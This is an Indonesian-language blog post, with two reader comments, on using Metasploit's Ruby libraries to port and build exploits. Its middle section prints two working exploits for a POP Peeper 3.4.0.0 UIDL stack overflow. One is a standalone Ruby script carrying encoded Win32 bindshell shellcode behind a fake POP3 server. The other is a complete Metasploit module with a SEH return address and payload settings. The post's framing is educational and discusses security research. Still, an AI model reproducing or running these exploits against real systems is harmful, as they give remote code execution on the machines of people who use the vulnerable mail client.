Baru-baru ini saya membaca blog dari Matasano setelah cukup lama mereka ‘idle’ dari menulis blog. Blog yang ditulis oleh eric monti tersebut cukup menarik, intinya adalah membahas penggunaan Ruby sebagai tools untuk proses penetration testing. Silahkan dibaca secara lengkap mengenai tools tersebut.
Well, eric monti bukan yang pertama. Semakin banyak pihak (baik individu maupun team) yang menggunakan ruby dalam bidang security saat ini, alasan utama karena ruby powerfull dan membuat nyaman programmer saat menyusun barisan-barisan code. Ronin juga termasuk salah satu pengikut aliran ruby untuk penetration tools.
Pengikut aliran fanatisme yang kebetulan penggila metasploit biasanya akan berpikir bahwa project-project lain hanya berusaha mengikuti jejak metasploit, ataupun minimal terinspirasi oleh project metasploit. Dan HDM pernah menyebutkan bahwa metasploit di klaim sebagai project ruby terbesar saat ini.
Saya pribadi tidak begitu peduli dengan berbagai macam aliran atau fanatisme, namun cukup yakin bahwa metasploit merupakan framework opensource terlengkap dalam hal pengembangan exploit untuk saat ini. Walaupun bagi para security consultan yang sudah mencicipi lezatnya core impact ataupun immunity canvas akan menilai bahwa metasploit framework berusaha mengikuti jejak kedua project tersebut, tetap saja pengaruh opensource pada suatu project akan memberikan peningkatan kreativitas yang signifikan. Alasannya jelas karena opensource mendapatkan ide-ide kreativitas dari masyarakat seluruh dunia. Oke, cukup bicara mengenai perbandingan.
Kita sering melihat pada berbagai forum ataupun mailing list dibahas mengenai metasploit sebagai alat untuk exploitasi. Updatenya ditunggu-tunggu, apalagi versi barunya. Sebetulnya tidak salah, namun itu berarti kita hanya memanfaatkan sebagian dari kemampuan penuh metasploit framework. Kita hanya memanfaatkan ‘metasploit’-nya, belum ‘framework’-nya.
Mungkinkah karena tidak ada lagi hal yang membuat seseorang menjadi tertantang untuk melakukan eksplorasi? Inikah hasil dari kemudahan konsep framework dan object-oriented programming?
– Taken from somewhere –
Hm, agree, but not fully.
Bentuk framework memang berpotensi untuk menyesatkan para pendatang baru, namun merupakan suatu seni tersendiri bagi yang tertarik untuk memanfaatkannya secara penuh. Sistem operasi dan Aplikasi user saat ini berkembang semakin baik, terutama dalam hal security. Ini merupakan hasil dari ‘security through obscurity’. Jika jaman dahulu bugs stack-overflow bertaburan dimana-mana dan untuk exploitasi nya cukup dengan sedikit utak-atik, maka saat ini bugs tersebut tidak dapat dengan mudah ditemukan dan di exploitasi begitu saja. Sudah ada /SafeSEH, /GS, ASLR, dsb yang membuat proses riset penemuan serta exploitasi bugs overflow menjadi jauh lebih sulit dari 10 tahun yang lalu.
Jika jaman dahulu shellcode bisa dikategorikan layer paling tinggi atau proses akhir dari suatu exploitasi, maka saat ini shellcode masuk pada kategori layer menengah kebawah. Dalam arti dibutuhkan metode-metode logical yang lebih kompleks dan kreativ untuk dapat membuat shellcode-shellcode tersebut dieksekusi oleh target. Dengan adanya framework, ataupun object-oriented, maka kita dapat lebih memfokuskan diri pada pengembangan metode-metode logical serangan yang lebih tinggi dan lebih kreatif sementara hal-hal statis lainnya (shellcode, assembly, remote connection, dll) di urus oleh framework. Dan bentuk framework yang seperti layering ini juga memudahkan pengembangan pada layer-layer bagian bawah dimana kita dapat menambahkan kapan saja metode-metode ataupun jenis shellcode yang akan digunakan.
Ada berbagai macam contoh framework saat ini, namun kita hanya akan memfokuskan pada metasploit sebagai framework opensource yang sangat berpengaruh di dunia security saat ini.
Penjelasan detail mengenai dalemannya metasploit framework bisa ditemukan pada dokumentasi bawaan metasploit, namun untuk memahami secara mendalam kita harus bisa membaca isi dari code-code ruby didalamnya.
lib$ ls bindata metasm.bak net packetfu.rb rex.rb scruby.rb zip bindata.rb metasm.rb ole rabal rex.rb.ts.rb telephony metasm msf packetfu rex scruby telephony.rb
Contoh diatas menunjukan isi direktori LIB dari metasploit framework. Dan bagi para programmer akan langsung bisa melihat bahwa direktori LIB tersebut berisi ribuan code yang dapat dimanfaatkan oleh script-script ruby standalone. Termasuk diantaranya beberapa contoh feature-feature ‘rbkb’ buatan eric monti diatas, seperti encoding/decoding. Dengan memanfaatkan library-library siap saji tersebut maka kita dapat membuat beragam tools, bahkan dapat juga dimanfaatkan untuk mengembangkan aplikasi-aplikasi lain diluar konteks security.
Namun tentu saja kemampuan metasploit akan sangat berguna dalam proses pengembangan exploit, terutama untuk membuat exploit tersebut lebih reliable. Metasploit juga dapat digunakan untuk mempercepat proses porting berbagai macam public exploit.
#!/usr/bin/env ruby $:.unshift(' ../lib ') require 'rex' # Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread) sc = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" + "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" + "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" + "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" + "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx46x4bx4e" + "x4dx44x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x36x4bx38" + "x4ex46x46x32x46x42x4bx48x45x34x4ex53x4bx58x4ex47" + "x45x30x4ax37x41x30x4fx4ex4bx38x4fx44x4ax31x4bx38" + "x4fx35x42x42x41x50x4bx4ex49x54x4bx48x46x33x4bx38" + "x41x50x50x4ex41x43x42x4cx49x39x4ex4ax46x58x42x4c" + "x46x57x47x50x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e" + "x46x4fx4bx53x46x35x46x32x4ax42x45x57x45x4ex4bx48" + "x4fx35x46x42x41x50x4bx4ex48x36x4bx48x4ex30x4bx54" + "x4bx58x4fx35x4ex51x41x50x4bx4ex43x50x4ex52x4bx58" + "x49x38x4ex56x46x52x4ex51x41x36x43x4cx41x43x4bx4d" + "x46x36x4bx58x43x54x42x53x4bx48x42x44x4ex30x4bx58" + "x42x57x4ex31x4dx4ax4bx38x42x54x4ax50x50x55x4ax46" + "x50x58x50x44x50x50x4ex4ex42x55x4fx4fx48x4dx48x56" + "x43x35x48x36x4ax46x43x43x44x53x4ax46x47x47x43x37" + "x44x43x4fx55x46x55x4fx4fx42x4dx4ax56x4bx4cx4dx4e" + "x4ex4fx4bx53x42x55x4fx4fx48x4dx4fx35x49x58x45x4e" + "x48x36x41x58x4dx4ex4ax50x44x30x45x45x4cx46x44x30" + "x4fx4fx42x4dx4ax56x49x4dx49x30x45x4fx4dx4ax47x55" + "x4fx4fx48x4dx43x55x43x45x43x55x43x35x43x35x43x34" + "x43x55x43x44x43x45x4fx4fx42x4dx48x46x4ax46x49x4d" + "x43x30x48x36x43x55x49x38x41x4ex45x49x4ax46x46x4a" + "x4cx31x42x47x47x4cx47x55x4fx4fx48x4dx4cx36x42x41" + "x41x35x45x45x4fx4fx42x4dx4ax36x46x4ax4dx4ax50x42" + "x49x4ex47x45x4fx4fx48x4dx43x55x45x45x4fx4fx42x4d" + "x4ax36x45x4ex49x54x48x48x49x54x47x35x4fx4fx48x4d" + "x42x55x46x45x46x55x45x45x4fx4fx42x4dx43x59x4ax46" + "x47x4ex49x57x48x4cx49x37x47x55x4fx4fx48x4dx45x55" + "x4fx4fx42x4dx48x36x4cx46x46x46x48x56x4ax46x43x36" + "x4dx36x49x48x45x4ex4cx36x42x55x49x45x49x32x4ex4c" + "x49x48x47x4ex4cx36x46x54x49x38x44x4ex41x43x42x4c" + "x43x4fx4cx4ax50x4fx44x34x4dx32x50x4fx44x54x4ex32" + "x43x39x4dx48x4cx37x4ax43x4bx4ax4bx4ax4bx4ax4ax36" + "x44x47x50x4fx43x4bx48x51x4fx4fx45x57x46x34x4fx4f" + "x48x4dx4bx45x47x45x44x55x41x35x41x55x41x35x4cx36" + "x41x50x41x55x41x35x45x45x41x45x4fx4fx42x4dx4ax56" + "x4dx4ax49x4dx45x30x50x4cx43x55x4fx4fx48x4dx4cx36" + "x4fx4fx4fx4fx47x43x4fx4fx42x4dx4bx48x47x35x4ex4f" + "x43x58x46x4cx46x36x4fx4fx48x4dx44x45x4fx4fx42x4d" + "x4ax36x4fx4ex50x4cx42x4ex42x56x43x55x4fx4fx48x4d" + "x4fx4fx42x4dx5a" nextseh = Rex::Arch.pack_addr(ARCH_X86, 0x909006EB) seh = Rex::Arch.pack_addr(ARCH_X86, 0x10014E39) nop = "x90" sock = Rex::Socket::TcpServer.create('LocalPort' => '110') chld = sock.accept chld.write("+OKrn") chld.get chld.write("+OKrn") chld.get chld.write("+OKrn") chld.get chld.write("+OK 1 100rn") chld.get chld.write("+OKrn1 " + "A" * 1072 + "#{nextseh}" + "#{seh}" + "#{nop}" * 32 + "#{sc}" + "rn.rn")
Contoh diatas memperlihatkan penggunaan metasploit secara ‘kotor’ yang merupakan porting dari Milw0rm. Public exploit dari milw0rm tersebut cukup reliable dengan memanfaatkan SEH serta pop+pop+ret dari library bawaan poppeer. Namun dengan integrasi pada framework metasploit, kita dapat menambahkan lebih banyak feature seperti beragam payload/shellcode, integrasi dengan meterpreter sebagai salah satu feature untuk post-exploitation method, automatic backdoor installation, hingga me-register SEH secara langsung untuk mendapatkan hasil yang lebih reliable. Berikut salah satu contoh bentuk model yang telah di porting dan di integrasikan kedalam metasploit (based on MC’s):
class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit', 'Description' => %q{ POP Peeper is vulnerable to a remote buffer overflow vulnerability.This vulnerability is exploitable on the client side. A vulnerable POP Peeper user must connect to an exploitation server and attempt to use retrieve mail to be affected. To trigger this vulnerability, POP Peeper has to connect to an exploitation server acting as a POP3 daemon. POP Peeper then uses the UIDL command to get unique IDs for each email it later plans on retrieving. The exploitation server can send an oversized ID (1040 bytes), overflowing a buffer on the stack, giving the attacker complete control over the process. POP Peeper 3.4.0.0 was confirmed vulnerable. All versions of below 3.4.0.0 and are suspected vulnerable as well. }, 'Author' => 'Based on MC's and Krakow Labs', 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ ['MIL', '8117'], ['URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt'] ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 750, 'BadChars' => "x00x0ax20x0d", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ ['POP Peeper v3.4.0.0', { 'Ret' => 0x10014E39 } ] ], 'DisclosureDate' => 'Feb 27 2009', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The POP daemon to listen on", 110]) ], self.class ) end def on_client_connect(client) client.write("+OKrn") end def on_client_data(client) # Re-generate the payload return if ((p = regenerate_payload(client)) == nil) client.write("+OKrn") client.get_once client.write("+OKrn") client.get_once client.write("+OK 1 100rn") client.get_once print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...") client.write("+OKrn1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "rn.rn") handler service.close_client(client) end end
Pihak underground dapat memanfaatkan framework metasploit sebagai ‘ebook’ dalam mempelajari beragam tehnik dan teknologi eksploitasi, white hat / security consultant dapat memanfaatkan framework metasploit untuk mempercepat proses penetration testing ataupun pengembangan eksploit, blackhat / para developer automatic tools semacam MPack dan ICEpack dapat memanfaatkan beragam shellcode ataupun assembly code dari metasploit untuk dimasukan kedalam modul-modul 0day miliknya. Inilah salah satu seni kehebatan opensource.
Everybody can learn and get benefit of a framework, isn’t it? 😉
gw setuju klo pemanfaatan library metasploit buat pengembangan atau develop new exploit or technique akan membuat orang lebih produktif dan cepat, karena shellcode dah tersedia, mekanisme bypass some memory protection udah ada, cuma untuk sampe kesitu, orang tetap perlu tahu gimana proses kerja, pembuatan dan optimasi shellcode, paham assembly code, tahu technique dari BoF dan variannya, tahu gimana layout dari PaX contohnya dan tentunya sangat mengerti tentang ruby (Engine dari MSF) itu sendiri… nah klo langsung lompat ke ke msf tanpa punya dasar, pasti banyak yang kesasar dan hanya jadi penikmat.. LOL
just my opinion,
so make your choice kidd0 –> pinjam kata-katanya d0tz 😛
Okay, metode logical yang diutamakan. Tapi gue kagak sepaham dengan shellcode sebagai layer menengah, ada banyak cara selain itu untuk mematikan SEH, PAX dan layer2 security lainnya. Cukup di Hook dengan TsRH concept lewat kok. dan yang pasti berbanding 1:1